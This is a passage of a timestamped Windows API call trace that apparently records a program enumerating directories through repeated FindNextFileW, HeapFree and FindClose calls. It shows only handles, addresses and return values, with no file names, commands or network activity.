hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0058.531] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0058.531] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0058.531] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0058.531] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0058.531] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0058.532] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0058.532] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0058.532] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0058.532] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0058.532] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0058.533] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0058.534] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0058.534] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0058.534] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0058.534] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0058.534] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0058.535] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0058.535] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0058.567] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0058.567] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0058.840] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0058.840] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0058.915] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0058.915] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0059.014] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0059.015] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0059.365] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0059.365] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0059.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0059.650] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0059.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0059.650] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0059.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0059.650] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0059.652] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0059.652] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0059.653] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0059.653] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0059.653] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0059.653] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0059.653] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0059.656] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0059.656] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0059.860] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0059.860] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0059.861] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0059.861] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0059.861] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0059.861] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0059.861] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0059.861] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0059.861] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0059.861] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0059.861] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0059.861] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0059.861] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0059.969] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0059.969] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0059.970] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0059.970] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0060.024] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0060.024] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0060.175] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0060.175] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0060.175] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0060.175] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0060.288] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0060.288] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0060.288] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0060.288] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0060.581] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0060.581] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0060.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0060.987] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0060.987] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0060.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0060.989] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0060.989] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0060.989] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0060.989] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0060.990] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0060.990] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0060.990] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0060.990] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0060.990] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0060.990] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.016] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.016] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.016] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.016] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.020] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.020] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.020] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0061.020] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.020] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.020] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.022] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.027] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.027] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.027] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.027] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.031] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.032] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.032] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0061.032] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.032] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.032] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.032] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.124] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.124] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.134] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.134] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.134] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.134] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.137] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.137] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.137] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0061.137] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.137] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.137] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.139] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.190] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.190] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.190] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.190] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0061.190] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0061.191] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.191] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.207] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.207] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.208] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.208] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0061.208] FindClose (in: hFindFile=0x42802c0 | out: hFindFile=0x42802c0) returned 1 [0061.208] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.209] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.225] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.225] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.268] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.268] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0061.278] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.279] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0061.280] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.280] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.280] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0061.280] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.280] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.280] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.280] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.282] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.282] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.284] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.284] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.284] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0061.284] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.284] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.299] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.299] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.300] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.300] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.300] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.300] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.301] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.301] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.302] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.302] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.302] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.302] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0061.302] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0061.302] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.302] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0061.302] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0061.302] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.303] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.303] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0061.303] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.303] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.309] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.309] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0061.309] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0061.309] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.309] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0061.309] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0061.310] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.311] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.311] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0061.311] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.311] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.312] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.312] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.315] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.315] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.316] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.316] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0061.316] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0061.316] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.316] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.320] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.320] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.321] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.321] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0061.321] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0061.321] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0061.321] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0061.340] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.340] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.342] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.342] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0061.347] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.347] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0061.347] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.348] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.348] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0061.349] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.349] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.349] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.349] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.350] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.350] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0061.350] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0061.350] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.350] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0061.353] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.353] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.355] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.355] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.355] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.355] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.355] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.355] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.355] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.355] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0061.358] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.358] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0061.358] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0061.358] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.358] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0061.358] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0061.358] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 